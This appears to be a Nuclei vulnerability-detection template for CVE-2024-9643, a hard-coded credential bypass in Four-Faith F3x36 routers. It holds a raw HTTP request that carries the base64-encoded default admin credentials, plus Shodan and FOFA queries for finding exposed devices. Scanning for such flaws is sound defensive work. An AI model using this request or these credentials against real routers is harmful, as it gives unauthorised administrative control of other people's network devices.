id: CVE-2024-9643

info:
  name: Four-Faith F3x36 - Authentication Bypass
  author: trader642
  severity: critical
  description: |
    Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.
  impact: |
    Attackers can gain unauthorized administrative access, potentially leading to full control over the device.
  remediation: |
    Update to the latest firmware version provided by the vendor to fix hard-coded credential issues.
  reference:
    - https://vulncheck.com/advisories/four-faith-hard-coded-creds
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1752
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9643
    epss-score: 0.1585
    epss-percentile: 0.94836
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 1
    vendor: four-faith
    product: f3x36
    shodan-query: "Four-Faith"
    fofa-query: body="Four-Faith"
  tags: cve,cve2024,four-faith,default-login,router,iot,auth-bypass,vkev

http:
  - raw:
      - |
        GET /Status_Router.asp HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic ZmZhZG1pbjpmZmFkbWluZmY=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Four-Faith","Status")'
          - 'contains(server, "httpd_four-faith")'
        condition: and
# digest: 4a0a004730450221008a1d2e24252a43ae15e3c5afc97d983cef693b01f784fe0b6e98dc494b29a6e902205162d3e447cf9cedacb8859bcbc4549fb6e0e7285a03165318b404e4c1bf53c7:922c64590222798bb761d5b6d8e72950